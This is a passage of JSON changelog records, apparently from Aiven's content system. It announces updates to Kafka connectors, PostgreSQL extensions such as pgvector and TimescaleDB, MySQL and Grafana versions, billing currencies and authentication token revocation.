minutes."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-04-28T00:00:00.000Z","tags":[{"_key":"5340aa3e-a071-4680-a385-245b7fe8d68e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Added support for configuring offset topic retention through a user_config value"} {"_createdAt":"2022-10-27T09:10:33Z","_i18n_lang":"en","_id":"586d6479-33fa-4180-8c67-0395e60ccc6d","_rev":"RS2LhK1JP0SKK0JvX1ROL1","_type":"changelog","_updatedAt":"2022-10-27T09:10:33Z","changeType":"","description":[{"_key":"5910d583-c55f-47d1-9b4a-624b438ae10f","_type":"block","children":[{"_key":"0fd015be-112e-4630-b33a-5ff770c45700","_type":"span","marks":[],"text":"This functionality was first introduced in Kafka 0.10.1.0 and has been gradually taken into use across Kafka compatible tooling. Enabling this functionality makes it easier to Kafka Streams, Kafka KSQL and Kafka Connect as well as other tooling with Aiven for Apache Kafka. To control access to topic creation, a new ACL permission level "},{"_key":"0d44ba50-917f-4bda-b4d2-0592d06539d8","_type":"span","marks":["code"],"text":"admin"},{"_key":"3125be6b-388d-4fdd-87ff-fde5e1a476b8","_type":"span","marks":[],"text":" has been created. Admin includes "},{"_key":"1136018b-4897-4f7b-9fe6-16d991127460","_type":"span","marks":["code"],"text":"readwrite"},{"_key":"ddfb1a64-e55c-4256-a3ff-a423324ee937","_type":"span","marks":[],"text":" permission, but also includes permissions to create, modify and delete topics over the Kafka protocol."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-03-12T00:00:00.000Z","tags":[{"_key":"e4799bf0-298a-4d62-988d-e6d828e35ef5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka enables support for topic creation and management using the Kafka protocol"} {"_createdAt":"2022-10-27T09:07:19Z","_i18n_lang":"en","_id":"589ec738-3fe3-48fa-bc81-5d3645dba731","_rev":"C4pC7IakZ1PpJ4LWR2B5jx","_type":"changelog","_updatedAt":"2022-10-27T09:07:19Z","changeType":"","description":[{"_key":"dce592ee-ae6f-4cc7-a118-4e5fa74b3d45","_type":"block","children":[{"_key":"662ebd47-3978-48ed-a747-b17a5e0b23e1","_type":"span","marks":[],"text":"Please see the "},{"_key":"8f431860-a4a3-4f02-b688-98ad73d6face","_type":"span","marks":["m8143932548033"],"text":"Release Notes"},{"_key":"eba608f6-5982-4364-9e2e-218cf764448f","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m8143932548033","_type":"link","href":"https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-18.html"}],"style":"normal"}],"publishedAt":"2019-12-16T00:00:00.000Z","tags":[{"_key":"ca61ead4-1d2e-4760-b333-cb6b85363aaa","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"MySQL server version 8.0.18 now available"} {"_createdAt":"2022-10-27T09:06:15Z","_i18n_lang":"en","_id":"5932d7ec-b3dc-454f-bcc8-21626ee90a1e","_rev":"dTcxLudMA3V5vz7pZEQccl","_type":"changelog","_updatedAt":"2022-10-27T09:06:15Z","changeType":"","description":[{"_key":"803c3a88-2b86-4b72-9e00-ac80b3ee3061","_type":"block","children":[{"_key":"8529828b-b4fa-45db-a3c9-39ab0d305735","_type":"span","marks":[],"text":"Please see "},{"_key":"80f8141a-da0c-4c66-9774-fbfe5d6a7995","_type":"span","marks":["m11659354654612"],"text":"the changelog"},{"_key":"2ebe040e-1f12-4a7b-94ee-28fc1567c68e","_type":"span","marks":[],"text":" and "},{"_key":"082ebc03-c9ae-4bad-a520-757f2e4ed2a3","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"ee207286-475a-45fb-aa5f-ee13b760ad89","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11659354654612","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.4.3"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2020-08-07T00:00:00.000Z","tags":[{"_key":"8501087c-0e34-47f3-bdc9-e1c07dfd61e1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.4.3"} {"_createdAt":"2022-10-27T09:10:12Z","_i18n_lang":"en","_id":"59a8e148-8f13-45aa-ba76-5e24c1ab30fc","_rev":"Dn65xz5Z1k22g7BhlztN39","_type":"changelog","_updatedAt":"2022-10-27T09:10:12Z","changeType":"","description":[{"_key":"059c8c80-ca4b-4147-b28b-9f22265e875c","_type":"block","children":[{"_key":"cd662deb-6dea-4a53-a4e1-99175dafe0af","_type":"span","marks":[],"text":"See the "},{"_key":"2854b880-8647-4050-b725-89ef1460c98e","_type":"span","marks":["m7751572280830"],"text":"release announcement"},{"_key":"b4088fe3-6b21-4a33-9f1e-32377c67843a","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m7751572280830","_type":"link","href":"https://www.postgresql.org/about/news/1851/"}],"style":"normal"}],"publishedAt":"2018-05-11T00:00:00.000Z","tags":[{"_key":"1981d480-607c-4975-b2ca-1922b08d3bc0","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 10.4, 9.6.9, 9.5.13 and 9.3.23"} {"_createdAt":"2022-10-27T09:04:42Z","_i18n_lang":"en","_id":"59d59e35-aee7-4276-bcaa-51e427c55712","_rev":"MEha5B96IszmAjyiiUpRH3","_type":"changelog","_updatedAt":"2022-10-27T09:04:42Z","changeType":"","description":[{"_key":"a4ac19f4-ea30-4622-9a59-3dcaa49183a0","_type":"block","children":[{"_key":"cad11306-4beb-4a5b-b1cc-01fe07307996","_type":"span","marks":[],"text":"Please see the "},{"_key":"e72c9dc5-4bd1-451e-b986-5fe33ccafe90","_type":"span","marks":["m3010334259159"],"text":"changelog"},{"_key":"44338e56-57d5-4194-bf68-199666e59cde","_type":"span","marks":[],"text":" and "},{"_key":"d4e31b35-bc39-420d-9aa9-4ac1cbf1f6c2","_type":"span","marks":["m12702587493398"],"text":"documentation"},{"_key":"adefbc99-7805-437c-8ad8-8ed330a770af","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3010334259159","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/releases/tag/v2.10.0"},{"_key":"m12702587493398","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-s3/tree/v2.10.0"}],"style":"normal"}],"publishedAt":"2021-04-03T00:00:00.000Z","tags":[{"_key":"3f3dafe8-e1b7-4bfa-87a4-0e5f438c444d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka S3 Sink Connector has been updated to version 2.10.0"} {"_createdAt":"2022-10-27T09:09:06Z","_i18n_lang":"en","_id":"64d7dd39-2471-493d-a491-76c6d45f7492","_rev":"WYf15BwQWb3V4yHfbxPIap","_type":"changelog","_updatedAt":"2022-10-27T09:09:06Z","changeType":"","description":[{"_key":"470288ac-167f-4ea3-9ce0-19d6674db6a0","_type":"block","children":[{"_key":"564848cb-e649-4f77-a9f2-ce4817a03fd8","_type":"span","marks":[],"text":"All Aiven prices are set in US dollars, but you can now elect to be billed at a different currency, to convert the charges accrued to your selected currency at the end of the month. Accepted currencies are US dollars, Euros, Pounds sterling, Swiss francs, Australian dollars, Canadian dollars, Swedish kronor, Norwegian kroner and Danish kroner. For the time being, currency can only be updated via the API, support for changing billing currency in the dashboard will be available in the near future."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-01-15T00:00:00.000Z","tags":[],"title":"Multiple billing currencies are now available"} {"__i18n_lang":"en","_createdAt":"2023-06-14T09:09:39Z","_id":"5b3b0908-8df6-46f9-8cf4-50a28e7e397b","_rev":"c9TjXEWyWBArEQcMlXxITo","_type":"changelog","_updatedAt":"2023-06-19T14:26:19Z","changeType":"new","description":[{"_key":"68c7beb93d6f","_type":"block","children":[{"_key":"b4369b1a84a20","_type":"span","marks":[],"text":"The pgvector extension is now available for Aiven for PostgreSQL."}],"markDefs":[],"style":"normal"},{"_key":"2826a1ada760","_type":"block","children":[{"_key":"ed7097bdda020","_type":"span","marks":[],"text":"pgvector is a PostgreSQL extension that allows efficient handling of high-dimensional vector data within the PostgreSQL database for tasks such as similarity search and machine learning."}],"markDefs":[],"style":"normal"},{"_key":"0f29b4888b3f","_type":"block","children":[{"_key":"50ef3a9c4dc50","_type":"span","marks":[],"text":"For more information, see the "},{"_key":"50ef3a9c4dc51","_type":"span","marks":["496f132d5caa"],"text":"pgvector documentation"},{"_key":"50ef3a9c4dc52","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"496f132d5caa","_type":"link","href":"https://github.com/pgvector/pgvector#readme"}],"style":"normal"}],"publishedAt":"2023-06-14T09:07:00.000Z","tags":[{"_key":"b9e330a2672c","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"pgvector now available for Aiven for PostgreSQL"} {"__i18n_lang":"en","_createdAt":"2023-01-25T14:49:19Z","_id":"6550708f-d9d4-4df0-b672-6310ed79da5d","_rev":"pnOvEyahjeT2Gte9fULdYB","_type":"changelog","_updatedAt":"2023-01-25T14:49:19Z","changeType":"improved","description":[{"_key":"47211bba8efa","_type":"block","children":[{"_key":"bcd66e75f7730","_type":"span","marks":[],"text":"Aiven's OpenSearch Connector for Apache Kafka has been updated to version 2.0.4. This connector version includes the strategy configuration key.ignore.id.strategy to provide multiple Document ID generation options. The minimum OpenSearch version compatible with this connector is OpenSearch version 1.3.3. If you are using an older version of OpenSearch, you will need to upgrade to a compatible version to use Aiven's OpenSearch Connector for Apache Kafka. To learn more, see "},{"_key":"bcd66e75f7731","_type":"span","marks":["c5f7bc054992"],"text":"Release notes"},{"_key":"bcd66e75f7732","_type":"span","marks":[],"text":" and "},{"_key":"bcd66e75f7733","_type":"span","marks":["7739b9568ef1"],"text":"OpenSearch sink connector configuration options"},{"_key":"bcd66e75f7734","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"c5f7bc054992","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/releases/tag/v2.0.4"},{"_key":"7739b9568ef1","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/blob/v2.0.4/docs/opensearch-sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2022-12-20T14:48:00.000Z","tags":[{"_key":"10b54f1abce5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven's OpenSearch Connector for Apache Kafka"} {"_createdAt":"2022-10-27T09:02:59Z","_i18n_lang":"en","_id":"65ebe69f-74e8-4c76-a319-08daf4be12dc","_rev":"GNtcCQgxf3P3DqpLt1idTJ","_type":"changelog","_updatedAt":"2022-10-27T09:02:59Z","changeType":"","publishedAt":"2022-02-17T00:00:00.000Z","tags":[{"_key":"5885af58-1962-47b1-9f52-39de3da6f5c6","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"Aiven for MySQL version 8.0.27 is available."} {"_createdAt":"2022-10-27T09:10:05Z","_i18n_lang":"en","_id":"5b470d03-c47d-4266-afcf-0ba475e29bdc","_rev":"Dn65xz5Z1k22g7BhlztMkh","_type":"changelog","_updatedAt":"2022-10-27T09:10:05Z","changeType":"","description":[{"_key":"c10e23d4-5182-421d-8341-729d3a70996f","_type":"block","children":[{"_key":"3cb693d5-3aac-488f-ba2a-42120565aa9c","_type":"span","marks":[],"text":"See "},{"_key":"e92d5f79-910b-4465-850b-9b746a3b0c43","_type":"span","marks":["m11060154467467"],"text":"this help article"},{"_key":"3b412948-a0c3-4d8b-91d4-d0b4f34f4dd8","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m11060154467467","_type":"link","href":"https://help.aiven.io/security/authentication-tokens"}],"style":"normal"}],"publishedAt":"2018-06-27T00:00:00.000Z","tags":[],"title":"Added support for tracking and revoking individual authentication tokens"} {"_createdAt":"2022-10-27T09:10:13Z","_i18n_lang":"en","_id":"5bba47b5-38ed-457b-ab4c-64b868f203a1","_rev":"ri8ZjU8zRgh6Niwltv1ERd","_type":"changelog","_updatedAt":"2022-10-27T09:10:13Z","changeType":"","description":[{"_key":"24a3db45-e4ac-4a88-a69a-65498a20835e","_type":"block","children":[{"_key":"96e126fe-61ca-4563-a693-c819c87abb64","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"c0cc4ff7-3f61-4e21-9149-f563d4784ff2","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"6f163c65-5b3f-4623-be2a-b0cb6d14c1bc","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2018-05-07T00:00:00.000Z","tags":[{"_key":"1f82d94b-3750-40fd-b2bc-9b32e4efedca","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 5.1.0 and updated all available plugins to the latest versions"} {"_createdAt":"2022-10-27T09:04:26Z","_i18n_lang":"en","_id":"5cf96a79-d487-4e53-b4b1-f5c82d2fe8bc","_rev":"G4qVVLRzbD2hZSG98TuCRJ","_type":"changelog","_updatedAt":"2022-10-27T09:04:26Z","changeType":"","description":[{"_key":"e60c6ba6-c8be-489f-bc9b-ac2a307b91ec","_type":"block","children":[{"_key":"a7bb68ed-f696-4111-b56c-4708e4d6c4e4","_type":"span","marks":[],"text":"Please see "},{"_key":"ea2d7e5f-57c2-4521-8fb7-9516f99265d3","_type":"span","marks":["m10803880119419"],"text":"the documentation"},{"_key":"74db0abb-207a-4bc7-8142-1b8a53cf3375","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m10803880119419","_type":"link","href":"https://github.com/GoogleCloudPlatform/pubsub/tree/v0.8-alpha"}],"style":"normal"}],"publishedAt":"2021-05-10T00:00:00.000Z","tags":[{"_key":"41d95b6c-bfa8-4380-8361-8310647fbdd6","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Google Cloud Pub/Sub Kafka Connect Connector has been updated to version 0.8-alpha"} {"_createdAt":"2022-10-27T09:02:14Z","_i18n_lang":"en","_id":"5d09f733-283b-4b0c-b4a0-4b52c953def0","_rev":"jxjwnOsJAgDXPDj4qmbzES","_type":"changelog","_updatedAt":"2022-10-27T09:02:14Z","changeType":"","publishedAt":"2022-08-02T00:00:00.000Z","tags":[{"_key":"0bcb128c-b37d-45d2-96ca-a8abc8ad07e7","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"pg_stat_monitor 1.0.1 extension is available on Aiven for PostgreSQL 13 and 14."} {"_createdAt":"2022-10-27T09:08:12Z","_i18n_lang":"en","_id":"5d105d7c-9324-4e81-b292-80cec0a0d414","_rev":"GNtcCQgxf3P3DqpLt1jnXx","_type":"changelog","_updatedAt":"2022-10-27T09:08:12Z","changeType":"","description":[{"_key":"0d1c2584-c465-47a0-aa9c-3167c695c68f","_type":"block","children":[{"_key":"f4c8af5c-95fc-4251-baad-61dcce9d5743","_type":"span","marks":[],"text":"Please see the "},{"_key":"13d62f4e-c420-46d6-b3e1-3bdee198a1a7","_type":"span","marks":["m11199332148253"],"text":"release notes"},{"_key":"36bf66e0-face-48a5-b2b6-e028f60a9d99","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m11199332148253","_type":"link","href":"https://community.grafana.com/t/release-notes-v6-2-x/17037"}],"style":"normal"}],"publishedAt":"2019-06-27T00:00:00.000Z","tags":[{"_key":"82a0ce46-5b7f-40dc-ae2b-dfcb48046822","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 6.2.5 and all plugins to latest versions"} {"_createdAt":"2022-10-27T09:07:21Z","_i18n_lang":"en","_id":"5d5702b8-b095-4f12-ac15-8c6cd7311ffb","_rev":"tsRucK8MIVb3810duaE4mW","_type":"changelog","_updatedAt":"2022-10-27T09:07:21Z","changeType":"","description":[{"_key":"86579b46-5b4e-4863-9a4a-a2e23c41a867","_type":"block","children":[{"_key":"4fcc1aea-9d91-46e0-865d-8ae415cc443b","_type":"span","marks":[],"text":"Please see the "},{"_key":"361d67f8-f261-4c0a-a8ea-beb8be65584b","_type":"span","marks":["m108393873996"],"text":"the documentation"},{"_key":"1c0a5c6b-62fd-4174-922d-cbe30dd1774a","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m108393873996","_type":"link","href":"https://docs.confluent.io/current/connect/kafka-connect-elasticsearch/index.html"}],"style":"normal"}],"publishedAt":"2019-11-22T00:00:00.000Z","tags":[{"_key":"bbaa4db9-c081-4dcd-ab9e-f62dfa7e3d7d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka Connect sink connector for Elasticsearch is now available in the preview mode"} {"__i18n_lang":"en","_createdAt":"2024-01-10T09:05:55Z","_id":"5db1d302-0c1c-4892-894d-334035f47b02","_rev":"ZLvKaZvfbZlWBlGcpIN77h","_type":"changelog","_updatedAt":"2024-01-29T13:23:52Z","changeType":"new","description":[{"_key":"25ba08fd267a","_type":"block","children":[{"_key":"15fe705118be","_type":"span","marks":[],"text":"The documentation tooling and location have been updated. The docs now live on "},{"_key":"1d8996c72d44","_type":"span","marks":["6f51f86df48a"],"text":"https://aiven.io/docs"},{"_key":"85cfeeb2aebb","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6f51f86df48a","_type":"link","href":"https://aiven.io/docs"}],"style":"normal"},{"_key":"4ef432e0a382","_type":"block","children":[{"_key":"a739e3974a2a","_type":"span","marks":[],"text":"The new platform will allow us to rework the content more efficiently and to bring a more interactive experience to our users."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-01-29T12:55:58.076Z","tags":[{"_key":"4ce10838c212","_ref":"6f76ec2d-5b6e-4e6b-a3b8-c72304b1e26c","_type":"tool"}],"title":"New documentation platform"} {"_createdAt":"2022-10-27T09:10:43Z","_i18n_lang":"en","_id":"5e7a6822-4eb0-44cd-9891-fc00b1a97653","_rev":"ncjVtEY290Sap8rHbFwlQe","_type":"changelog","_updatedAt":"2022-10-27T09:10:43Z","changeType":"","description":[{"_key":"3435f7b4-009c-488b-8cc9-4a4c197cf1c4","_type":"block","children":[{"_key":"5c8d3820-cd39-458f-a97c-01609c9be6ae","_type":"span","marks":[],"text":"Web console integration will be introduced in the coming weeks."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-02-07T00:00:00.000Z","tags":[],"title":"VPC peering can now be requested over the \u003ca href=\"https://api.aiven.io/doc/\"\u003eAiven API\u003c/a\u003e and using the \u003ca href=\"https://github.com/aiven/aiven-client\" rel=\"nofollow noopener noreferrer\"\u003eAiven command-line client\u003c/a\u003e"} {"_createdAt":"2022-10-27T09:03:33Z","_i18n_lang":"en","_id":"5e813972-5433-491f-b462-11d3d896b7a3","_rev":"G4qVVLRzbD2hZSG98Ttx11","_type":"changelog","_updatedAt":"2022-10-27T09:03:33Z","changeType":"","description":[{"_key":"049775c3-39df-4c39-9f77-da7fa9fc3b20","_type":"block","children":[{"_key":"d735c1bd-12f7-4585-a223-dfdd8311a492","_type":"span","marks":[],"text":"Please see "},{"_key":"04e239b1-5e3d-4743-bb23-fdc2637a10d2","_type":"span","marks":["m13949350562229"],"text":"the documentation"},{"_key":"267bbc81-ab8a-404d-a7dd-16578b029d69","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m13949350562229","_type":"link","href":"https://docs.mongodb.com/kafka-connector/v1.6"}],"style":"normal"}],"publishedAt":"2021-10-20T00:00:00.000Z","tags":[{"_key":"c6365072-9115-41b6-96c4-dd856e7e88f0","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"MongoDB Kafka Sink and Source connectors have been updated to version 1.6.1"} {"__i18n_lang":"en","_createdAt":"2023-05-18T08:29:02Z","_id":"5edd8b68-f562-49a2-9c09-f16b6f9f5850","_rev":"IpnbDuG6FYGmZQ2TBNXPWN","_type":"changelog","_updatedAt":"2023-05-22T11:53:27Z","changeType":"improved","description":[{"_key":"e7889eb00ce2","_type":"block","children":[{"_key":"e08ab9f454bf0","_type":"span","marks":[],"text":"TimescaleDB extension versions 2.10.2 and 2.10.3 are now available for Aiven for PostgreSQL. They contain various bug fixes on top of release 2.10.1."}],"markDefs":[],"style":"normal"},{"_key":"22cbf0b53ce1","_type":"block","children":[{"_key":"8e1683ff0f840","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"625a057476ff","_type":"block","children":[{"_key":"2b168e5ac8c60","_type":"span","marks":["667aeae3b76b"],"text":"Fix parameterization in DecompressChunk path generation"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"667aeae3b76b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5583"}],"style":"normal"},{"_key":"ecc006f0acf6","_type":"block","children":[{"_key":"f441549394600","_type":"span","marks":["f66abd811d78"],"text":"Fix broken CAgg with JOIN repair function"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f66abd811d78","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5602"}],"style":"normal"},{"_key":"529a3308992f","_type":"block","children":[{"_key":"c29f9099b22d0","_type":"span","marks":["27f4f5a01e1f"],"text":"Fix file trailer handling in the COPY fetcher"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"27f4f5a01e1f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5410"}],"style":"normal"},{"_key":"96fb330a1dc1","_type":"block","children":[{"_key":"43d0e948b16d0","_type":"span","marks":["242e38c74b06"],"text":"Add checks for malloc failure in libpq calls"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"242e38c74b06","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5446"}],"style":"normal"},{"_key":"ef3b0efed9b0","_type":"block","children":[{"_key":"0c4fe4aa68610","_type":"span","marks":["6999e41194a2"],"text":"Out of on_proc_exit slots on guc license change"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6999e41194a2","_type":"link","href":"https://github.com/timescale/timescaledb/issues/5233"}],"style":"normal"},{"_key":"c1d54ceccac6","_type":"block","children":[{"_key":"7c13a20c4db90","_type":"span","marks":["ca6c762e67aa"],"text":"Use consistent snapshots when scanning metadata"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ca6c762e67aa","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5428"}],"style":"normal"},{"_key":"f04455dd2dbc","_type":"block","children":[{"_key":"8644725ca1770","_type":"span","marks":["db820bc59c6c"],"text":"Do not segfault on large histogram() parameters"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"db820bc59c6c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5499"}],"style":"normal"},{"_key":"54304ec18dfb","_type":"block","children":[{"_key":"33da969980500","_type":"span","marks":["4304bd8fc5f3"],"text":"Ensure superuser perms during copy/move chunk"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4304bd8fc5f3","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5470"}],"style":"normal"},{"_key":"bb01eb7936f8","_type":"block","children":[{"_key":"17994a091c9c0","_type":"span","marks":["7f2a4785ef8d"],"text":"Fix when no FROM clause in continuous aggregate definition"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7f2a4785ef8d","_type":"link","href":"https://github.com/timescale/timescaledb/issues/5500"}],"style":"normal"},{"_key":"8cd2d6fa33ba","_type":"block","children":[{"_key":"954f4185a36c0","_type":"span","marks":["071065db8397"],"text":"Fix join rte in CAggs with joins"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"071065db8397","_type":"link","href":"https://github.com/timescale/timescaledb/issues/5433"}],"style":"normal"},{"_key":"43c70473c190","_type":"block","children":[{"_key":"4085d45013530","_type":"span","marks":["5c235e2b96b4"],"text":"Fix duplicated entries on timescaledb_experimental.policies view"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5c235e2b96b4","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5556"}],"style":"normal"},{"_key":"b81a2d90bdbe","_type":"block","children":[{"_key":"4df8d06cfd6a0","_type":"span","marks":["e6a7623e1112"],"text":"Fix segfault after column drop on compressed table"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e6a7623e1112","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5462"}],"style":"normal"},{"_key":"eed3b12dbfaa","_type":"block","children":[{"_key":"acf8486964f10","_type":"span","marks":["d455af75c6fa"],"text":"Copy scheduled_jobs list before sorting it"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d455af75c6fa","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5543"}],"style":"normal"},{"_key":"58deb1badd03","_type":"block","children":[{"_key":"ca41e1d05a420","_type":"span","marks":["e6dc0e16a023"],"text":"Allow named time_bucket arguments in Cagg definition"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e6dc0e16a023","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5497"}],"style":"normal"},{"_key":"870d498b2110","_type":"block","children":[{"_key":"d435af6a91ac0","_type":"span","marks":["74f39da9346d"],"text":"Fix refresh from beginning of Continuous Aggregate with variable time bucket"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"74f39da9346d","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5544"}],"style":"normal"},{"_key":"955c530f1e1e","_type":"block","children":[{"_key":"903c0c5599b40","_type":"span","marks":["ec90b70f06c7"],"text":"Use regrole for job owner"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ec90b70f06c7","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5558"}],"style":"normal"},{"_key":"dad3786fe718","_type":"block","children":[{"_key":"e6ac3ed4b5340","_type":"span","marks":["b9215f09c741"],"text":"Enable indexscan on uncompressed part of partially compressed chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b9215f09c741","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5542"}],"style":"normal"}],"publishedAt":"2023-05-22T11:52:00.000Z","tags":[{"_key":"b595d0e3c48b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extensions 2.10.2 and 2.10.3 for Aiven for PostgreSQL released"} {"__i18n_lang":"en","_createdAt":"2023-11-21T10:37:06Z","_id":"5efcf408-6374-408a-96f7-adb1191d3b75","_rev":"00HkATqwml6aoQnrO0GyXO","_type":"changelog","_updatedAt":"2023-11-21T11:58:34Z","changeType":"improved","description":[{"_key":"b6cbe44889ab","_type":"block","children":[{"_key":"e619b30af96f0","_type":"span","marks":[],"text":"Aiven's GCS Sink Connector for Apache Kafka has been upgraded to version 0.13.0. This version primarily focuses on upgrading dependencies to improve the performance and compatibility of the connector.\n\n"},{"_key":"e619b30af96f1","_type":"span","marks":["strong"],"text":"What's new:"}],"markDefs":[],"style":"normal"},{"_key":"c0129749c7e9","_type":"block","children":[{"_key":"5a7d4a6a2550","_type":"span","marks":[],"text":"Upgraded to Aiven Commons library version 0.12, featuring a new topic-partition-key record grouper for improved record organization."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"362208278027","_type":"link","href":"https://github.com/Aiven-Open/gcs-connector-for-apache-kafka/releases/tag/v0.13.0"},{"_key":"d8d914c0e062","_type":"link","href":"https://github.com/aiven/gcs-connector-for-apache-kafka/tree/v0.9.1"}],"style":"normal"},{"_key":"0cb1c241ec79","_type":"block","children":[{"_key":"1b249222ae26","_type":"span","marks":[],"text":"For detailed information, refer to the "},{"_key":"e619b30af96f3","_type":"span","marks":["362208278027"],"text":"GitHub release notes"},{"_key":"e619b30af96f4","_type":"span","marks":[],"text":" and "},{"_key":"e619b30af96f5","_type":"span","marks":["d8d914c0e062"],"text":"documentation"},{"_key":"e619b30af96f6","_type":"span","marks":[],"text":" for Aiven’s GCS Sink Connector for Apache Kafka."}],"markDefs":[{"_key":"362208278027","_type":"link","href":"https://github.com/Aiven-Open/gcs-connector-for-apache-kafka/releases/tag/v0.13.0"},{"_key":"d8d914c0e062","_type":"link","href":"https://github.com/aiven/gcs-connector-for-apache-kafka/tree/v0.9.1"}],"style":"normal"}],"publishedAt":"2023-11-21T10:37:08.662Z","tags":[{"_key":"ae8aa51e70fa","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"0039d7f5a934","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":"Aiven's GCS Sink Connector for Apache Kafka® version 0.13.0 "} {"_createdAt":"2022-10-27T09:02:41Z","_i18n_lang":"en","_id":"5f269291-7dd0-4980-a034-8b902e79405d","_rev":"jxjwnOsJAgDXPDj4qmc17g","_type":"changelog","_updatedAt":"2022-10-27T09:02:41Z","changeType":"","description":[{"_key":"c01983d6-d14b-4bfc-9811-613431fe3a0e","_type":"block","children":[{"_key":"9a483634-add7-4765-9a57-d120d0ad9dcb","_type":"span","marks":[],"text":"Please see "},{"_key":"ef9f23b4-e986-4916-899b-3a60e702779f","_type":"span","marks":["m4582218493156"],"text":"the documentation"},{"_key":"e37a6f8f-f604-4800-a201-b6f7524f90e1","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m4582218493156","_type":"link","href":"https://www.mongodb.com/docs/kafka-connector/v1.7/whats-new/"}],"style":"normal"}],"publishedAt":"2022-05-12T00:00:00.000Z","tags":[{"_key":"793ad11f-593b-449d-8cfc-a88d22dbaa4e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"MongoDB Kafka 